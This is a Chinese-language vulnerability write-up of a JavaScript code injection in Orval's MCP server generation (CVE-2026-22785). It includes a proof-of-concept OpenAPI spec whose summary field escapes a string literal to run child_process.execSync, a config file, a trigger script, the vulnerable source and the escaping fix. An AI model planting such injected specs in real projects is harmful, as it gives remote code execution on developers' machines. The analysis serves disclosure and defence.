CVE-2026-22785:Orval MCP Code Injection 逃逸导致 RCE 分析
Orval 7.18.0前版本因未转义OpenAPI的summary字段,致MCP生成代码时发生JS注入,引发远程代码执行。
Orval MCP Code Injection 逃逸导致 RCE 分析
漏洞描述

Orval 是一个可以从 OpenAPI v3 或 Swagger v2 规范生成类型安全 JavaScript 客户端(TypeScript)的工具。在 7.18.0 版本之前,MCP 服务器生成逻辑在处理 OpenAPI 规范中的 summary 字段时,没有进行适当的验证或转义,直接将其拼接到生成的代码中。
这使得攻击者可以通过精心构造的 OpenAPI 规范文件,在 summary 字段中注入恶意代码,"跳出"字符串字面量并执行任意 JavaScript 代码。
环境搭建
# 1. 进入源码目录
$ cd orval-7.17.2
# 2. 安装依赖 (耗时约 1m 43s)
$ yarn install
# ➤ YN0000: └ Completed
# ➤ YN0013: │ 2181 packages were added to the project (+ 1.29 GiB).
# ➤ YN0000: └ Completed in 1m 43s
# ...
# ➤ YN0000: · Done with warnings in 1m 43s
# 3. 构建项目 (耗时约 13s)
$ yarn build
# 输出 (末尾):
# Tasks: 11 successful, 11 total
# Cached: 0 cached, 11 total
# Time: 12.946s
# 4. 验证版本
$ node ./packages/orval/dist/bin/orval.js --version
# 输出: 7.17.2漏洞复现
验证 Orval 版本
确保你的是漏洞版本

命令:
$ node ../orval-7.17.2/packages/orval/dist/bin/orval.js --version创建恶意 OpenAPI 规范
文件: poc/real-malicious.yaml
openapi: 3.0.4
info:
title: Test API
version: 1.0.0
servers:
- url: https://api.example.com/v1
paths:
/test/status:
get:
summary: "Normal status check' + require('child_process').execSync('echo VULNERABLE > /tmp/orval-real-poc.txt').toString() + '"
description: Get status information
operationId: getStatus
responses:
'200':
description: Successful operation
content:
application/json:
schema:
type: stringsummary字段包含恶意 payload- 开头的单引号
'用于闭合前面的字符串字面量 + require('child_process').execSync(...)是注入的恶意代码- 结尾的
'开始新的字符串字面量
因为生成逻辑是一个拼接的过程
创建 Orval 配置
文件: poc/real-poc.config.mjs
export default {
mcp: {
input: {
target: './real-malicious.yaml',
},
output: {
mode: 'single',
client: 'mcp',
baseUrl: 'https://api.example.com/v1',
target: './real-generated/handlers.ts',
schemas: './real-generated/schemas',
clean: true,
},
},
};文件生成
$ node ../orval-7.17.2/packages/orval/dist/bin/orval.js --config real-poc.config.mjs
🍻 orval v7.17.2 - A swagger type safe client generator for typescript
mcp: Cleaning output folder
🎉 mcp - Your OpenAPI spec has been converted into ready to use orval!然后就会生成对应的文件

恶意文件是在 server.ts

成功的拼接并闭合了
修复版本生成文件
使用相同的恶意输入,修复版本 (7.18.0) 会生成:
server.tool(
'getStatus',
'Normal status check\' + require(\'child_process\').execSync(\'echo VULNERABLE > /tmp/orval-real-poc.txt\').toString() + \'\'',
getStatusHandler
);区别: 所有单引号被转义为 \',注入被阻止。
恶意文件触发
只要 MCP 服务器加载脚本,就会立马触发
AI 写个代码
#!/usr/bin/env node
/**
* MCP 客户端触发脚本
* 连接到恶意 MCP 服务器,验证漏洞是否被触发
*/
const { spawn } = require('child_process');
const fs = require('fs');
const path = require('path');
console.log('==========================================');
console.log('MCP 客户端触发测试');
console.log('==========================================');
console.log('');
// 清理之前的测试文件
try {
fs.unlinkSync('/tmp/mcp-triggered.txt');
console.log('[1] 已清理旧的测试文件');
} catch (e) {
console.log('[1] 无旧文件需要清理');
}
console.log('');
console.log('[2] 启动恶意 MCP 服务器...');
console.log(' 服务器路径: real-generated/server.ts');
console.log('');
// 使用 tsx 运行 TypeScript 文件
const serverProcess = spawn('npx', ['tsx', 'real-generated/server.ts'], {
cwd: __dirname,
stdio: ['pipe', 'pipe', 'pipe']
});
let serverOutput = '';
let serverError = '';
serverProcess.stdout.on('data', (data) => {
const text = data.toString();
serverOutput += text;
// MCP 服务器使用 stderr 输出日志
});
serverProcess.stderr.on('data', (data) => {
const text = data.toString();
serverError += text;
console.log('[Server]', text.trim());
});
// 等待服务器启动
setTimeout(() => {
console.log('');
console.log('[3] 服务器已启动,检查恶意代码是否执行...');
console.log('');
// 检查恶意代码是否执行
if (fs.existsSync('/tmp/orval-real-poc.txt')) {
const content = fs.readFileSync('/tmp/orval-real-poc.txt', 'utf8');
console.log('✅ 漏洞触发成功!');
console.log(' 文件 /tmp/orval-real-poc.txt 已创建');
console.log(' 内容: "' + content.trim() + '"');
console.log('');
console.log('[!] 结论: 当 MCP 服务器启动时,恶意代码就已执行!');
console.log(' 不需要客户端调用任何工具,只需要加载 server.ts');
} else {
console.log('❌ 漏洞未触发 - 文件未创建');
}
console.log('');
console.log('[4] 关闭服务器...');
// 关闭服务器
serverProcess.kill('SIGTERM');
setTimeout(() => {
if (!serverProcess.killed) {
serverProcess.kill('SIGKILL');
}
process.exit(0);
}, 1000);
}, 2000);
serverProcess.on('error', (err) => {
console.error('启动服务器失败:', err.message);
console.error('');
console.error('可能需要先安装依赖:');
console.error(' npm install @modelcontextprotocol/sdk typescript tsx');
process.exit(1);
});
serverProcess.on('exit', (code) => {
// console.log('服务器退出,代码:', code);
});


代码分析
OpenAPI 规范加载
const resolveSpecs = async (
path: string,
{ validate, ...options }: SwaggerParserOptions,
_isUrl: boolean,
isOnlySchema: boolean,
) => {
try {
if (validate) {
try {
await SwaggerParser.validate(path, options);
} catch (error) {
if (error instanceof Error && error.name === 'ParserError') {
throw error;
}
if (!isOnlySchema) {
log(`⚠️ ${chalk.yellow(error)}`);
}
}
}
const data = (await SwaggerParser.resolve(path, options)).values();
if (_isUrl) {
return data;
}
// normalizing slashes after SwaggerParser
return Object.fromEntries(
Object.entries(data)
.sort()
.map(([key, value]) => [isUrl(key) ? key : upath.resolve(key), value]),
);
} catch {
// 关键点:如果 SwaggerParser 失败,直接使用 yaml.load 解析
const file = await fs.readFile(path, 'utf8');
return {
[path]: yaml.load(file),
};
}
};Operation 对象提取
export const getOperationId = (
operation: OperationObject,
route: string,
verb: Verbs,
): string => {
// 🔴 operation.operationId 来自 OpenAPI 规范,我们可以控制的,也就是上面的恶意文件字段
if (operation.operationId) {
return operation.operationId;
}
return pascal(
[
verb,
...route.split('/').map((p) =>
sanitize(p, {
dash: true,
underscore: '-',
dot: '-',
whitespace: '-',
}),
),
].join('-'),
);
};operation 对象包含 summary、description 等字段
字段提取
const generateVerbOptions = async ({
verb,
output,
operation,
route,
pathRoute,
verbParameters = [],
context,
}: {
verb: Verbs;
output: NormalizedOutputOptions;
operation: OperationObject;
route: string;
pathRoute: string;
verbParameters?: (ReferenceObject | ParameterObject)[];
components?: ComponentsObject;
context: ContextSpecs;
}): Promise<GeneratorVerbOptions> => {
// 🔴 从 operation 对象中解构出 summary 字段
const {
responses,
requestBody,
parameters: operationParameters,
tags = [],
deprecated,
description,
summary, // ← 用户可控输入
} = operation;
const operationId = getOperationId(operation, route, verb);
const overrideOperation = output.override.operations[operation.operationId!];
// ... 省略中间代码 ...
const doc = jsDoc({ description, deprecated, summary });
// 🔴 关键点:verbOption.summary 直接使用 operation.summary
// 没有任何转义或验证
const verbOption: GeneratorVerbOptions = {
verb: verb as Verbs,
tags,
route,
pathRoute,
summary: operation.summary, // ← 直接赋值,未转义
operationId: operationId!,
operationName,
response,
body,
headers,
queryParams,
params,
props,
mutator,
formData,
formUrlEncoded,
paramsSerializer,
fetchReviver,
override,
doc,
deprecated,
originalOperation: operation,
};
const transformer = await dynamicImport(
override?.transformer,
context.workspace,
);
return transformer ? transformer(verbOption) : verbOption;
};
generateServer 函数/文件拼接点
export const generateServer = async (
verbOptions: Record<string, GeneratorVerbOptions>,
output: NormalizedOutputOptions,
context: ContextSpecs,
) => {
const info = context.specs[context.specKey].info;
const { extension, dirname } = getFileInfo(output.target);
const serverPath = upath.join(dirname, `server${extension}`);
const header = getHeader(output.override.header, info);
const toolImplementations = Object.values(verbOptions)
.map((verbOption) => {
const imputSchemaTypes = [];
if (verbOption.params.length > 0)
imputSchemaTypes.push(
` pathParams: ${verbOption.operationName}Params`,
);
if (verbOption.queryParams)
imputSchemaTypes.push(
` queryParams: ${verbOption.operationName}QueryParams`,
);
if (verbOption.body.definition)
imputSchemaTypes.push(` bodyParams: ${verbOption.operationName}Body`);
const imputSchemaImplementation =
imputSchemaTypes.length > 0
? ` {
${imputSchemaTypes.join(',\n ')}
},`
: '';
// 🔴 漏洞点:verbOption.summary 和 operationName 直接拼接到模板字符串,而且没有被任何的转义字符处理
const toolImplementation = `
server.tool(
'${verbOption.operationName}',
'${verbOption.summary}',${imputSchemaImplementation ? `\n${imputSchemaImplementation}` : ''}
${verbOption.operationName}Handler
);`;
return toolImplementation;
})
.join('\n');
所以文件的内容如下

漏洞修复
修复方案
在 packages/mcp/src/index.ts 中引入 jsStringEscape 函数对所有用户控制的输入进行转义。
修复说明
修复 Commit: 80b5fe73b94f120a3a5561952d6d4b0f8d7e928d
Orval 7.18.0 (已修复) - packages/mcp/src/index.ts:
import {
camel,
ClientBuilder,
ClientExtraFilesBuilder,
ClientGeneratorsBuilder,
ClientHeaderBuilder,
ContextSpecs,
generateMutatorImports,
generateVerbImports,
GeneratorMutator,
GeneratorVerbOptions,
getFileInfo,
getFullRoute,
jsDoc,
+ jsStringEscape,
NormalizedOutputOptions,
pascal,
upath,
} from '@orval/core';
const toolImplementations = Object.values(verbOptions)
.map((verbOption) => {
- const imputSchemaTypes = [];
+ const inputSchemaTypes = [];
if (verbOption.params.length > 0)
- imputSchemaTypes.push(
+ inputSchemaTypes.push(
` pathParams: ${verbOption.operationName}Params`,
);
if (verbOption.queryParams)
- imputSchemaTypes.push(
+ inputSchemaTypes.push(
` queryParams: ${verbOption.operationName}QueryParams`,
);
if (verbOption.body.definition)
- imputSchemaTypes.push(` bodyParams: ${verbOption.operationName}Body`);
+ inputSchemaTypes.push(` bodyParams: ${verbOption.operationName}Body`);
- const imputSchemaImplementation =
- imputSchemaTypes.length > 0
+ const inputSchemaImplementation =
+ inputSchemaTypes.length > 0
? ` {
- ${imputSchemaTypes.join(',\n ')}
+ ${inputSchemaTypes.join(',\n ')}
},`
: '';
const toolImplementation = `
server.tool(
- '${verbOption.operationName}',
- '${verbOption.summary}',${imputSchemaImplementation ? `\n${imputSchemaImplementation}` : ''}
- ${verbOption.operationName}Handler
+ '${jsStringEscape(verbOption.operationName)}',
+ '${jsStringEscape(verbOption.summary)}',${inputSchemaImplementation ? `\n${inputSchemaImplementation}` : ''}
+ ${jsStringEscape(verbOption.operationName)}Handler
);`;
return toolImplementation;
})
.join('\n');jsStringEscape 函数实现 - packages/core/src/utils/string.ts:
/**
* Escape all characters not included in SingleStringCharacters and
* DoubleStringCharacters on
* http://www.ecma-international.org/ecma-262/5.1/#sec-7.8.4
*
* Based on https://github.com/joliss/js-string-escape/blob/master/index.js
*
* @param input String to escape
*/
export const jsStringEscape = (input: string) =>
input.replaceAll(/["'\\\n\r\u2028\u2029]/g, (character) => {
switch (character) {
case '"':
case "'":
case '\\': {
return '\\' + character;
}
// Four possible LineTerminator characters need to be escaped:
case '\n': {
return String.raw`\n`;
}
case '\r': {
return String.raw`\r`;
}
case '\u2028': {
return String.raw`\u2028`;
}
case '\u2029': {
return String.raw`\u2029`;
}
default: {
return character;
}
}
});如果存在这些字符,那么我们的内容就会被转义,就和防止 sql 注入一样
输入字符 | 转义后 |
|
|
|
|
|
|
换行符 |
|
参考资料
免责声明
本漏洞分析报告仅用于安全研究和教育目的。所有测试均在授权的环境中进行。
请勿将此信息用于任何非法目的。作者不对因滥用此信息而导致的任何损害负责。
Orval 7.18.0前版本因未转义OpenAPI的summary字段,致MCP生成代码时发生JS注入,引发远程代码执行。
由 AI 根据全文自动生成,仅供参考,以原文为准